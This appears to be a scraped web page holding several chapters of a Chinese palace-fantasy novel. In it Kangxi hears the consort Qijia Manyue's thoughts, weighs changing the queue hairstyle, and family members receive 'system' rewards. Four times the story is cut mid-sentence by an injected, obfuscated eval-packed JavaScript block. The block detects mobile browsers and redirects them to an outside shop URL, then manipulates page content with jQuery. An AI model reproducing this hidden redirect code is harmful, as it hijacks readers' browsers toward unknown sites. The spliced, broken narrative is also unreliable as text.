“一切听额涅玛玛的。”康熙没想到会引起孝庄如此反应甚至还波及齐佳氏,但他也不想如此和祖母直接反抗,只能点头应下。 见孝庄脸色依旧不悦,他又笑着说道:“皇祖母教诲,孙儿铭记在心。” “孙儿自幼饱读诗书,深知我大清以国语骑射为立国之本,这剃发易服之制,正是维系我满洲根本彰显朝廷威仪的基石,孙儿岂敢轻言废弃。” 见他如此说软话,孝庄脸上终于浮现出一抹笑意。 风波就这样暂且过去,直到月色将晚时,康熙才带着些许疲惫走出慈宁宫。 想了想,他看向梁九功:“皇贵妃那边可安排御医过去了?” “已经安排了。” “那就过去看看。”康熙轻吐出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543754|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 一口气后,坐上御撵。 正巧御医刚刚赶到,和康熙在承乾宫门口相遇,便一同进了承乾宫。 皇贵妃没想到康熙会带着御医来看自己,但也没多说什么。 “表妹今日脸色可不佳,有些事大可交给宫人们去做,你该好好休养才是。”看着皇贵妃脸上有些苍白,竟不如往日那般有血色,康熙有些担忧道。 “放心吧表哥,我心里有数。”皇贵妃不知道为什么康熙今日这般关注自己身体,只当他想到了前两任皇后,但也难得对他的温情所感动,连自称都换了更亲近的“我”。 康熙看着烛火下皇贵妃这张秀丽的脸上透出的温柔,突然心中起了一个念头:“表妹此时……在想什么?” 皇贵妃被他看得心下有些发毛,压下满心不舒服的感觉,她奇怪问道:“表哥?怎么了?” 康熙摇了摇头,勾起嘴角:“没,只是觉得表妹越发……温柔了。” “如今我年岁也不小了,怎能还像过去那般。”皇贵妃脸颊微红微微低头,垂下眼眸,只那眸子里却不见丝毫羞涩,只有满满的冷静。 康熙看着她几乎看不清的笑脸,却不知道为什么怎么都想象不出那该是怎样的笑容,他总觉得这时的皇贵妃就像披了一层纱,让他无法看清。 他知道这是因为他见到了一个身心都能被他看透的人,让他开始无法适应只靠外表去看透一个人了…… 康熙并没有再多说什么,诊脉后,和皇贵妃又简单说了几句话,就直接带着御医离开了。 皇贵妃并不奇怪他这样的举动,康熙一向遵从养生之道,一个月也不过入后宫几次而已,更不会随意留宿宫妃寝宫。 “皇贵妃身体如何?”御撵行走在宫墙间,在这黄昏时刻透着几分说不上的寂寥。 “还是如以往一般,有些天生体弱,并无其他病症。”御医将脉案简单说了下。 康熙并不意外,摆了摆手让人退下:“嗯,以后三日给皇贵妃请一次平安脉,退下吧。” 御医退去,宫墙间便只剩下御撵和宫人们细微的脚步声,康熙坐在御撵之上,看着橙红色的天空中,一只只乌鸦飞过落在屋檐上,落在城墙上。 “朕……想做的不仅是满蒙的皇帝,也是天下人的皇帝啊……” 夜晚躺在乾清宫的龙床上,康熙怎么都睡不着,白日里齐满月的心声和孝庄刚刚的反驳不断地在他脑海中交替闪过。 “朕……到底如何做才好?” 许久后,他突然坐起身,直接冲宫外喊了一声:“来人!” 梁九功正微垂着头闭眼养神,听着康熙的话吓了一跳,赶忙回神手忙脚乱地推门进去。 “召永寿宫齐佳贵人侍寝。”康熙眼中闪过一丝坚决,直接吩咐道。 梁九功不由愣在当场,要知道康熙可是非常讲究体面的人,后宫妃嫔侍寝本就由敬事房进行安排,整个侍寝过程更是严格遵守宫规,从康熙即位以来,他很少为此破例。 却不承想今日为这个进宫不过数日的贵人破例。 “还不滚去!”康熙见他竟然呆立原地,忍不住轻呵一声。 梁九功赶忙跪下请罪,又快步跑出寝殿去安排。 康熙看着他的身影离开,那种完全失控的感觉,在这一刻终于有了一点能够抓住的实感。这一刻……他非常确定,齐佳氏将是这个世界上唯一一个无法欺骗他的存在。 14. 第一次侍寝 被人从美梦中唤醒是一件足以让任何一个好脾气的人爆炸的事情。 对本就有点起床气的齐满月更是如此,只是云秀那句:“皇上召小主侍寝”的话停在耳边,而她怎么都无法将脾气发出来。 云秀扶着她连耽搁都没敢耽搁,直接将她扶到屏风后面,简单沐浴了一番,随后又扶到梳妆台前为她梳洗。 “小主如此容貌便是简单梳洗亦是好的,时辰也不早了,咱们还是赶紧走吧。”敬事房的太监一脸谄媚的上前低声催道。 齐满月虽然也喜欢打扮得精致些,可现在她实在没心情也没心思打扮,便顺着太监的话劝道:“就这样吧,云秀。” 云秀见状也只得选了两根素银簪子和一朵浅色绒花,这才收了手。 “时间紧迫,今天破例召了软轿过来,小主上轿吧。”敬事房的太监赶忙上前解释道。 齐满月悄悄打了个哈欠,扯了扯云秀的衣角。 云秀本就觉得惊喜,更不会像齐满月所想的那样多说什么,只满心欢喜地将齐满月送上软轿。 永寿宫距离乾清宫并不远,即便软轿走得再慢,也很快到了乾清宫。 不过这个时候的宫道上安静的有些可怕,只有不远处的巡逻侍卫们脚步声在这个夜晚时不时响起,才让这个夜晚不算多么寂寥。 “哇——哇——哇——”几声粗粝的沙哑的长音在夜空中响起,那带着些许喉音渐渐靠近齐满月坐的轿撵。 不多时,抬轿的太监和旁边的宫人发出几声轻呼,困得迷迷糊糊的齐满月睁开眼,被一双双黑亮的圆点吓得一下子精神大振。 不等她惊叫出来,她就反应过来面前的是几只乌鸦。 宫人们的异样眼神若有若无地扫过齐满月,这些供奉的神鸟可从未靠近过这个宫里任何一个人,即便是圣上…… 隐秘的交流就这样在宫人间彼此流转,然后以一种极快却足够隐晦的方式传进后宫的众人耳中。 齐满月就这样和乌鸦面对面无言着被抬进乾清宫。 “这……这……”别说这一路上宫人和侍卫们的惊诧,就算是梁九功见了这幅场景也不由有些语塞。 犹豫了片刻后,他舔了舔唇,试探地往前走了一步。 “齐佳氏来了?”康熙听到了落轿的声音,却没听见人进来,忍不住皱眉开口问道。 谁知等了片刻还是没等到回复,他不耐地站起身,连外袍都没披,就推开了殿门。 门外的场景就这样被他收入眼中,别说其他,连康熙自己都不由被这场景震惊得一时间无法开口。 “扑扑!”乌鸦们扭头看了眼康熙,又看了眼齐满月,才不约而同地展翅飞离这里。 神鸟走了,众人自然回神,赶忙该干嘛干嘛,齐满月也赶忙在宫人的搀扶下走下软轿。 康熙本以为她会说出神鸟什么具有神性的话,结果就听到齐满月的心声里不断尖叫:“啊啊啊我的腿都麻了!救命救命救命!!” “吓死宝宝了,我都不敢动的啊,万一挠我呢?!我长得那么好看,被挠了岂不是可惜了!” 康熙没想到对方心声是这样的,他无语地侧过身偷偷翻了个白眼,才对身后的女子冷声道:“还不进来?!” 齐满月赶忙给他行礼,乖顺地跟着走入乾清宫寝宫。 “啊啊啊,才看到康熙怎么摘帽子了?!这就是传说中的金钱鼠尾吗?好!难!看!!” 康熙身体一僵,心中缓缓涌上一个念头,自己不顾名声将对方召过来,是不是错了? 不等他细想,那心声再次不断响起:“说起来,后世认为雍正登基后侍寝规则改成让后妃们在围房等候,连洗漱都在围房,还要脱光光给太监检测,再被太监用大氅包起来背到龙床前,从脚的地方从下爬上去这点,是由这个爹带头改的,应该不会是吧……太羞辱人了……” 康熙本打算转身坐在龙床上,动作却一顿,他有些不可置信地扫过垂着头一脸懵懂带着羞意的齐满月:“老四?!他怎么能这样做?竟然容得后妃如此被太监折辱?简直……荒唐!” “咦?他坐过去了?那应该不会是那种变态吧……吓死我了。” 康熙坐在龙床细细打量着齐满月。 齐满月如今的容貌别说是清朝,就算是到了后世也是可以进娱乐圈争个艳压群芳的名头的,这张脸堪称淡妆浓抹总相宜,更别说她身体纤细,透着几分特有的纤弱,却不见多少病态。 康熙年间的宫装虽不如后世那般放量,但也不会多显出女子的身形,可即便如此康熙也能凭借经验看出这厚重宫装下,面前的人有着何等优秀的身材。 “啊啊啊,他眼神好恶心!!”康熙正沉浸在欣赏美人的情绪中,却不承想被齐满月一个心声打断兴趣。 康熙无语地扫过乖巧站在一侧的齐满月,实在无法理解对方怎么能在心里闹成那样还能保持外表的乖巧胆小,简直是心口不一第一人。 “齐佳氏,过来。”他垂眸略作思考,顿时有了个主意,眼眸中带着几分笑意唤了一声。 齐满月赶忙小步走到康熙面前。 “坐。”康熙眼中的戏谑已经快掩盖不住了。 “啥呀?睡前还聊心?别啊,赶紧睡就是,我会闭上眼不看这个发型的,就当被狗咬了!好歹有经验应该不至于让我不舒服!” 康熙脸上的逗弄在听到这段心声后骤然消失,他斜睨着低垂着头的齐满月,对着虚空使劲儿翻了个白眼,才下意识抬头摸了摸头顶上细细的辫子。 “算了,你去暖阁睡吧。”他不是一个喜欢强迫女人的人,自然也不想听着对方忍辱负重的心声让对方侍寝。 “咦?!竟然没打算让我侍寝!?你是眼瞎吗?我那么大一个大美女!!!”谁承想对方根本不领情。 就当康熙要反悔的时候,齐满月的心声却再次响起:“算了,不睡也是好事,毕竟虽然脸还行,但发型真不行!” “还!不!去!”康熙咬着牙根,看着胆大妄为的女人,再次提醒道。 齐满月也不敢再在心里说什么,乖乖叩头后,跟着被康熙喊进来的梁九功去了隔壁暖阁睡觉。 康熙听着隔壁齐满月心声不住传来,除了骂他扰人清梦又心情不定外倒也没多说什么,听着这些声音不知为何他莫名有种安心的感觉,睡意也在这时涌上来。 “……说起来,清朝后期的大辫子比金钱鼠尾还好那么一丢丢,要是他像电视剧演的大辫子的话,也不是不能接受,好歹……没那么丑了。” 康熙猛地睁开眼,大辫子?清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543755|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 朝后期? 不等他细想,隔壁心声消失,只传来一些不成句的梦呓,他想将对方叫醒又一时间找不到合适的理由,可偏偏齐满月留下的这句话让他对如何改制有了新的灵感,好不容易来的困意彻底消散。 次日一早,齐满月被破例召寝还留宿乾清宫的事情在请安的时候就被几位宫妃话赶话说了出来。 除了皇贵妃是明确知道皇帝并没有真的让齐满月侍寝,也没让她用印这件事,其他的妃嫔却不知道内情,只当她真的侍寝了。 这样的破例固然不足以让高位嫔妃们说什么,却让一些嫔位和贵人位的妃嫔开始看齐满月,眼神不对了。 “不愧是齐佳贵人,这幅好容貌倒是让皇上破例召寝,不像我等容貌平平,不足以让皇上记挂。”开口的妃嫔齐满月并不认识,但凭借着装束猜出对方应该是某个嫔位娘娘。 “就是,哎呀这入宫还未五日就被皇上召奉驾两次,侍寝一次,果然好福气啊。”又一个不熟悉的贵人开口说道。 这话一出口即便是上位的高位嫔妃们脸色都有些不好看了。 皇贵妃凤眸扫过开口的嫔妃,又看向一脸无辜胆怯的齐满月,不过片刻就冷声打断了高位嫔妃:“行了,齐佳贵人乖巧懂事,又是出身八大姓,皇上看重几分本就应该,你没让皇上记住是你没那个本事。” 说着她环视一圈后,直接冷厉吩咐道:“本宫虽然性子好,可容不得你们使用什么下作手段,入了宫不求你们和和睦睦,只各位好生记得,你们身后还有家人亲族。” 这话说得算是极重,别说小嫔妃们,就连几个高位嫔妃都是脸色一变,齐齐起身:“我等知晓。” 见状皇贵妃不再说什么,直接起身往外走:“走吧,给太皇太后、太后请安去。” 一行人又像往常一样往慈宁宫请安,本以为如往日那般,众人请安后便回承乾宫,之后就各自散去。 可今日竟然在众人还未请完安时,太皇太后就直接吩咐道:“行了,我这边没什么事儿,你们都散了吧。” “齐佳氏留下。” 众位嫔妃倒没多意外齐满月被留下,毕竟齐佳好歹是满蒙大姓,太皇太后给几分颜面也是正常的。 只是宜妃、惠妃、荣妃这样的老人却眼露诧异。 太皇太后虽深有威严,可对待后宫嫔妃们倒也算温和,她们头一次听到太皇太后用这样不客气的语气直呼一个妃嫔的姓氏,而非位分。 齐满月不知道为何,也有种莫名的危机感:“嘶……咋了?谁惹我偶像生气了?” 她的心声传到孝庄耳中,孝庄本来板着的脸也不由晴了些许。 “哎?怎么感觉像是生我的气?!我做什么了吗?” 齐满月偷偷抬眼看了眼孝庄,又赶忙低下头:“不对啊?该不会是因为昨天侍寝的事情吧?关我啥事!?都是康熙那个狗皇帝!再说最后我也没侍寝啊!我在暖阁睡了一宿。” 孝庄听到这愣了一瞬,她倒是知道皇帝召齐满月侍寝的事情,但也没多想,毕竟如此美人皇帝忍不住也不算稀奇,即便有些破例但也不算多严重,只是没想到皇帝竟然让人在暖阁睡了一宿。 想到这里,她也瞬间明白过来康熙的想法,心下对齐满月的那些不满竟然消散了些许。 15. 系统第一波奖励 “你一个人在永寿宫可觉得寂寞?启祥宫快修缮好了,那边之前也住了不少小嫔妃,不如让你去做个主位娘娘?”孝庄虽然对齐满月有了几分好脸色,但到底没有真的放下心。 启祥宫? 齐满月心思一动,启祥宫在康熙在位期间其实很长一部分时间都没有任何嫔妃居住,再加上启祥宫地位偏僻,是西六宫最后一个修缮的地方,所以说它是冷宫也未尝不可。 “我……?得罪她老人家了?”齐满月的心声里满是不可置信,“怎么就突然把我发配了?” 孝庄用水杯挡住了自己微微抽动的嘴角:“咳,老身也知道启祥宫偏僻了些,但你若是搬到了启祥宫至少也是一个嫔位,倒也不算亏待你。” “谢太皇太后恩赐,奴婢并不觉亏待,能够得一嫔位是奴婢的福分。”齐满月虽然是有点嫌弃启祥宫偏远,到时候请安走得更远,而且还要和别人一起住,但嫔位哎~ 康熙这个人对宫妃虽然也称得上大方,可那也是针对那些身世好、孩子生得多的,他可是极度重视妃嫔的出身。 要知道他不少出身地位低微的也生过孩子的妃嫔待在低位嫔妃位置上一辈子,甚至还可能被他送出去。 虽然齐满月认为自己身为齐佳氏,纵然官场上没有什么助力,但姓氏好,康熙将她送走的可能性不大,但是给她太高地位也不太可能,甚至需要熬时间。 而她现在不过是搬个宫,就有可能当上主位嫔妃,怎么可能不心动! 听着她心里这一连串的想法,孝庄心下不禁摇了摇头:“这丫头,便是送哪个出去也送不了她的。” 看着齐满月这样想过后,她心里对她的些许不满也更减了几分。 “别说不愧是孝庄皇后为人就是大气!” 孝庄忍俊不禁地轻咳着,然后继续听着齐满月的心声。 “到底是在清朝刚入关时,能够从一群权臣手中扶着才几岁的儿子坐稳江山的女人,纵使后世有些人猜测她是依靠于男人,我却宁愿这是她本身的能力,而且依靠男人怎么了?男人还依靠女人呢!” 孝庄下意识地点了点头赞同,却又赶忙反应过来,尴尬地喝了口奶茶。 “这可是能够被后世女孩子们评为偶像之一的女性掌权者之一!就算她是绝对的满清旧俗认可者,我也无法对她生出恶感啊……” “不过启祥宫到底偏了些,其他宫里已有主位娘娘,倒是永寿宫……”孝庄被齐满月这些心声一哄,下意识就开口说道。 孝庄却在话没说完时突然反应过来。 齐满月入宫还没几天,启祥宫修缮还要数月,到时候迁宫晋位倒也无妨,如今不迁宫就晋位实在有些过了。 想了想,她顿了下才继续说道:“你如今不过进宫几日,晋嫔位有些操之过急,不若再等些时日吧。” “啊哦~”齐满月在心里忍不住叹了口气,“我的嫔妃飞走咯~” 孝庄这次是真没忍住,她勾起嘴角,脸上映出一抹笑意:“放心你的嫔位跑不了。” “哈?”齐满月愣了一瞬,“我的表情那么明显吗?” “是啊,你这孩子心思太过单纯,一点子心思都在脸上,以后啊小心被人骗了去。”孝庄也反应过来自己差点儿露了馅,赶忙顺着齐满月的心声调侃道。 “呼……难怪,不愧是孝庄!” 孝庄倒也没留齐满月太久,简单说了几句后就放她回了自己宫里。 看着她的身影消失,她才叹了口气:“苏麻喇姑,你去告诉皇帝,启祥宫该怎么安排怎么安排吧,永寿宫日后就留给齐佳氏吧。” 苏麻喇姑并不知道孝庄为什么突然改变了主意,但也能猜出几分。 她跟随孝庄实在太久了,对她平日里也会调侃几句,如今更是不客气道:“也不知道是谁从昨日就将人恨不得扔到角落里去,如今又成了香饽饽了?” 孝庄忍不住嗔怪地白了她一眼:“便是不看她的能力,只她将我的阿图带了回来,就值得一个嫔位。” 苏麻喇姑见她这一副嘴硬的模样,只暗自偷笑了一下,面上还是一副非常赞同的模样点了点头:“确实值得!” 孝庄自然清楚她这是故意揶揄她,端起奶茶拒绝再搭理对方。 见状苏麻喇姑又忍不住偷笑着上前劝慰,免得这位主子气大了把自己气伤了。 康熙一下朝就听说了慈宁宫的事情,犹豫了一瞬后,他还是按捺住去找齐满月的心,如今还是不适合将对方放在风口浪尖的好。 这样想着,就想到了昨日齐满月所说的大辫子,他摩挲着自己的扳指,许久后还是开口吩咐道:“宣张英、陈廷敬。” 梁九功赶忙领命去宣旨,却不承想康熙又交代了一句:“把和硕裕亲王也叫来。” 时间过得很快,也过得很慢,快到康熙还没想到该如何和大臣们说,慢到他已经心里想了太多计划,将说辞琢磨了又琢磨,推翻又重建。 张英和陈廷敬都在南书房办公,离这边最近,来得也是最早的。 他们看着懋勤殿里竟然只有他们两个大臣不由一愣,下意识相视看了一眼,心里不由揣测到底要做什么? 等福全到了后,两人更是直接表现出意外来,他们没想到来的不是索额图、明珠这样的重臣,而是福全这位宗室王爷。 福全见到这两个汉臣也不由一愣,下意识抬头看了眼康熙,才赶忙行礼。 他本以为是自己来得早了,正好打算找个不起眼的位置等着后面的人,却不承想康熙直接开口道:“朕找你们是有件事想商议。” 张英和陈廷敬下意识看了眼彼此,才将视线转向福全,见他也是一脸迷茫后,才悄悄看了眼康熙。 康熙并没有打算拖延时间,便直接挑明道:“如今大清入关已经过去多年,当日因旧俗所以要求剃发易服。” 听到这里时,张英和陈廷敬的脸色都带上了一些复杂的情绪。 “如今世事更迭,有些旧俗也该变动一点。” “剃发易服本是国策不好轻易更改,但朕这几日一直在想是否将金钱鼠尾略作调整。” 说罢他抬眼看了一眼福全:“福全你觉得呢?” 福全被他前面的话吓了一跳,此时问他,他还愣了一瞬才回神说道:“回皇上,奴才认为是不是再考虑一下?” 康熙动作顿了下,才看向两个汉臣:“你们觉得呢?” 张英和陈廷敬相视看了眼,默契地下跪,齐声喝道:“皇上英明!” 福全蹙眉看了两人一眼,才又看向康熙,想了许久后才恭敬说道:“奴才一切听从皇上旨意。” “福全,你悄悄去办,让人暗自留发,不必像汉人那般,只要能梳起辫子就行。”见状,康熙不再说什么,直接点了福全。 福全却觉得一头雾水,这个辫子要留成什么样?多粗?怎么一点都不和他交代清楚,可他又不敢问。 “张英、陈廷敬,你们二人出个章程,如何让百姓自然接受此番政令,最好是不要被人议论太多。” “是!臣遵旨。”两位汉臣赶忙下跪领命。 康熙叹了口气,摆手让人退下。 没多久,懋勤殿的事情就传入到了慈宁宫。 “你是说皇帝传了两个汉臣和福全?”孝庄紧皱眉头,没想明白康熙到底想做什么。 “是,听说几位出来时脸色很是慎重。”小太监低垂着头,浑身战战。 孝庄总觉得哪里不对,可她如今已经退居慈宁宫也不好太过过问朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17543756|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 政,想了想到底选择让小太监退下。 之后的时间过得很快,孝庄没有发现康熙变动祖制的行为,也终于放下心来。 更让她放心的是,即便齐满月拥有着这样的特殊地位,康熙也没有不管不顾地宠她,反而自从那日侍寝之后,康熙一直未曾宣召她。 不仅如此,康熙也恢复了往日那般,一个月只数次进后宫,且大部分时间都去有子嗣的高位嫔妃宫里,少有几次才宠幸了几位小嫔妃。 就这样时间缓缓流逝,齐满月这段时间想尽办法给自己找乐子,光布贴画就做了七八幅了,不少都被她送给了云秀等人。 皇贵妃这些日子也没再多插手让胤禛和齐满月见面的事情,更没有在明面上维护她,就像她不过是后宫里最平常的一个小嫔妃。 宫里的一切都平淡且无趣地随着时间流逝而慢悠悠地向前走着,连胤礽都乖乖地如过去一样上课、练习、听政。 只有胤禔偶尔觉得现在的胤礽有些不对劲,但是他又想不出来哪里有问题。 直到两个月后的某天,如往日一样平静的日子里,四位执行者的耳边突然响起久违的系统声音。 “叮!恭喜各位执行者,挽救了历史中的明珠黄履庄,历史挽救进度2%,请继续努力。” 就当康熙等人认为这不过是普通的系统提醒时,下一秒系统声音再次响起。 “恭喜执行者康熙、胤礽、孝庄、胤禛完成初级任务,激活进度条,系统奖励中……请选择。” 奖励消息和系统刚出现的时候一样,他们只能听到属于自己的那个提醒和奖励,依旧无法知道除了已知之外,还有谁是执行者。 当然经过这两个多月,他们彼此已经有了较大的猜测,第四个几乎可以确定就是如今才四岁的胤禛。 不过胤禛太小了,康熙实在不想带着这么个娃娃商量政事,甚至有些事情他连太子都不想叫。只是孝庄数次要求,这才有了慈宁宫三人时不时的聚会。 “额涅玛玛选择了什么?”康熙好奇地开口问道。 孝庄虽然明白康熙这句话是试探,却也没打算隐瞒:“系统给了四个选择,寿命+1,寿命+1.5,和儿子梦中相见,最后一个是其他,并建议我选寿命+1.5。” 胤礽都不用康熙开口,直接说道:“系统让我在清醒的大脑、聪明的大脑、稳重的大脑和其他中选择,建议我选清醒的大脑。” 康熙见此也没有瞒着:“系统给我的选择,第一个是民心感知,第二个是人才罗盘,第三个是历年灾难表,第四个也是其他,它并没有给我建议。” 孝庄愣了下:“给我寿命应该是因为我年纪大了,为何给了两个寿命选择?那个符合和字是什么意思?” 说着她比划了一下。 康熙立刻反应过来:“这是西文,是加一和加一点五,也就是再加一得半数,这是指……年?” “总归第三个没用处!”孝庄忍不住的白了一眼虚空。 涉及到长辈,康熙也不好说什么。 “所以……给我三个选项都是脑子,是因为我不聪明、不清醒、不稳重?!”胤礽不可置信地指了指自己。 康熙并没有回他,而是直接下令:“来人,通知皇贵妃带四阿哥过来。” 梁九功一脸懵的进来领命,又一脸懵的出去传旨。 “等胤禛过来再说吧,我看到倒计时是十二个时辰。”康熙见那祖孙二人一脸好奇,便开口解释道。 “叫佟佳氏?你是认为她能够知道?”孝庄有些不甚赞同。 康熙叹了口气:“表妹一向聪慧,对胤禛更是一向爱护,想来早已瞒不住了。” 听他这样说,孝庄也不再说什么,一时间整个慈宁宫安静下来…… 16. 奖励到手or做猫毡 梁九功到承乾宫时,皇贵妃刚刚处理好手中宫务,正吩咐人将胤禛抱来,就见梁九功直接求见。 梁九功笑着就要行礼问安,却被后面突如其来的力道撞得往前栽去:“哎哟!” 幸好跟着他的小太监机灵,赶忙一把将他扶住,即便如此梁九功依旧扭了腰。 他倒吸一口冷气,抬眼就要看是哪个不长眼的敢撞他这个乾清宫太监总管。 却没承想,人还没看清,一个穿着杏黄色宫服的身影就从不远处扑了过来:“胤禛!” 梁九功不是傻的,他看着斜后方冲出的矮胖墩,瞬间反应过来这是四阿哥,赶忙又继续行礼:“给四阿哥请安。” “四阿哥如今越发……敦实了。”他轻揉着腰,看着胤禛胖了好几圈的腰身,张了张嘴,干巴巴地说了句夸赞。 “胤禛,还不给梁公公道歉?额娘教过你多少次,君子当行事稳重。”皇贵妃轻轻睨了梁九功一眼,才假意嗔怪地轻轻点了点胤禛的额头。 胤禛捂着头,透过皇贵妃的肩膀偷偷瞪了梁九功一眼,才低声说了句:“对不住梁公公。” “是奴才没站好,不怪四阿哥。” 梁九功自然不是真的不介意,而是对面是四阿哥,不仅是皇帝仅存的几个皇子中的一个,更是皇贵妃的心尖尖,除了大阿哥和太子,如今宫里数这位金贵,他怎敢说什么。 皇贵妃自然知道这不关梁九功的事情,给宫人使了个眼色。 秋月早早将拿出备好的金瓜子,抓了一把塞在梁九功手里:“梁公公拿去玩儿吧。” 梁九功脸上的笑意越发深了,他对着皇贵妃再三道谢后,才说明来意。 皇贵妃脸色忽地变了一下,却又转瞬消失,让梁九功都下意识以为自己看错了。 “本宫知道了,这就带胤禛过去。” 轿撵准备得极快,皇贵妃却阻止了宫人将胤禛抱到一处的举动,直接将他抱着坐上轿撵。 梁九功有些诧异地看着皇贵妃有些不合宫规的动作,但也没多说什么。 “告诉额娘,是不是发生什么了?”皇贵妃将胤禛紧紧搂在怀里,轻声问道。 胤禛点了点头,也学着她的模样趴在她的耳边轻声将系统的奖励一一说了一通。 皇贵妃眉头微蹙,下意识就反应过来是皇帝那边做了什么。 “前朝吗?”她想了想最近后宫并无要事,便明白过来是前朝变动,只是如今她并不想引起皇帝注意,这段时间也没和家里打听前朝的事情,此时竟然一无所知。 从承乾宫到慈宁宫即便再远也远不到哪儿去,不过片刻功夫就到了。 而皇贵妃看着慈宁宫,深深叹了口气,她此时也不知道前途如何,只能一切听从天意吧。 小胤禛不懂额娘为什么心事重重,只一脸开心地拉着对方的手往慈宁宫冲去。 进了慈宁宫,皇贵妃才发现整个大殿里伺候的人只有苏麻喇姑一个。 皇帝和孝庄分坐上方左右,太子坐在左下首第一位,此时见她进来赶忙行礼,转而坐到了对面。 皇贵妃带着胤禛行礼后,坐到了左边。 “想来表妹知道朕找你们过来的原因了?”康熙看梁九功下去后,直接说道。 皇贵妃没想到对方如此直白,却也点了头应下。 “那表妹也该知道系统的变化,不知道胤禛的奖励是什么?”说着康熙看向胤禛。 皇贵妃抓着胤禛的手下意识用力,却又迅速反应过来赶忙握住帕子,再将帕子轻轻盖在胤禛的手上。 “嗯,胤禛有说,系统提醒他共四个选项,分别是体力、胸怀、情绪调节器和其他,并且系统建议他选体力。” 孝庄有些诧异地看着胤禛,这明明是个怎么看都非常健康的胖墩墩的重孙子,她怎么都无法理解,系统会建议他选体力。 不过康熙和胤礽知道得多些,虽然不知道胤禛体力如何,却能够从他累死在御案上知道他的寿命不佳。 他们还以为系统会让他增加寿命,没想到是让他增加体力。 “既然如此,就让胤禛听系统的,选择体力吧。”康熙犹豫了片刻后直接吩咐道。 皇贵妃并没有提出异议,虽然不知道其他三个选项意味着什么,但是她相信系统建议选择体力。 毕竟她没有让胤禛有什么天大的未来,即便是知道他是未来的雍正帝也是如此,她宁愿她的孩子一辈子无病无灾平平安安。 康熙紧盯着皇贵妃,见她脸上并不见异常后,才稍微缓了神色,对皇贵妃说道:“此事只有你和苏麻喇姑是系统选择之外的人,朕不希望再有第七个人知道。” “臣妾谨遵圣旨。”皇贵妃赶忙起身应道。 太子被皇帝要求选择了清醒的大脑,之后他和孝庄都没有说自己选择了什么,其他人也不敢追问。 简单又聊了一番,孝庄也交代了自己打算过些时日晋齐满月为嫔位的事情。 此事康熙早就知晓,皇贵妃虽然是第一次知道却并不觉得意外,胤礽觉得挺好的,胤禛听不懂,于是这次例外的晋封就这样简单定下来了。 康熙等人离开后,苏麻喇姑侍奉孝庄斜斜躺在罗汉床上休息。 孝庄一直没说话,苏麻喇姑也不催,只在旁安静地陪着。 “那个孩子……是个有福气的。” “主子说的是四阿哥?还是……齐佳贵人?”苏麻喇姑愣了下。 孝庄没接话,沉默了片刻后才说道:“我没选寿命,到了我这个年岁多活一两年也没什么意思。” 苏麻喇姑怔愣着看着对方,许久后才轻声说了句:“嗯。” 孝庄看着外面的太阳缓缓消失在红色高墙后面,声音在这空荡的大殿里飘着:“我这辈子,对得起大清,对得起先帝,对得起皇帝……唯独……” 苏麻喇姑张了张嘴,下意识就以为孝庄选择了见顺治一面,却不承想孝庄摇了摇头。 苏麻喇姑想要开口问,却见孝庄抬手摆了摆,见此她心里纵然有千言万语要说却也只能暂且缄默,悄然退下。 孝庄躺在罗汉床上,看着慈宁宫大殿上华丽的穹顶,无声地闭了闭眼。 “系统,我选择其他是不是可以任意选择?” “执行者选择其他,可自行编写愿望,但不一定实现。” “那就……让董鄂氏有个……好的来世吧……若可以让她去齐佳氏来的地方,那里她一定会活得很好。” “系统判定中,可达成。” “当年……不怪她啊……” 孝庄想着自己和系统的刚才的对话,思绪却回到了顺治年间…… 与慈宁宫的沉默死寂不同,此时的永寿宫却可以称得上欢歌笑语热闹非凡,当然也是那种不会违反宫规的热闹。 齐满月在永寿宫待得不是一般的开心,永寿宫只有她一个妃嫔,虽然不过是贵人阶级,可本身永寿宫就有侍奉的太监宫女,此时也能勉强给她一用。 即便用不上也看着人多热闹,尤其是她做布贴画时,不少宫女凑过来帮忙,甚至有些女红不甚多好的宫女从她的布贴画上得了灵感,直接用到荷包手帕上。 今日见她又玩儿新的,更是凑上来给她帮忙。 “贵人,这样可以吗?”一个宫女小心地将梳好的猫毛展示给她看。 “嗯,之后小心地一层一层铺好。”齐满月挨个指点后,交给她们下一步。 “之后,观察下哪里有缺的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 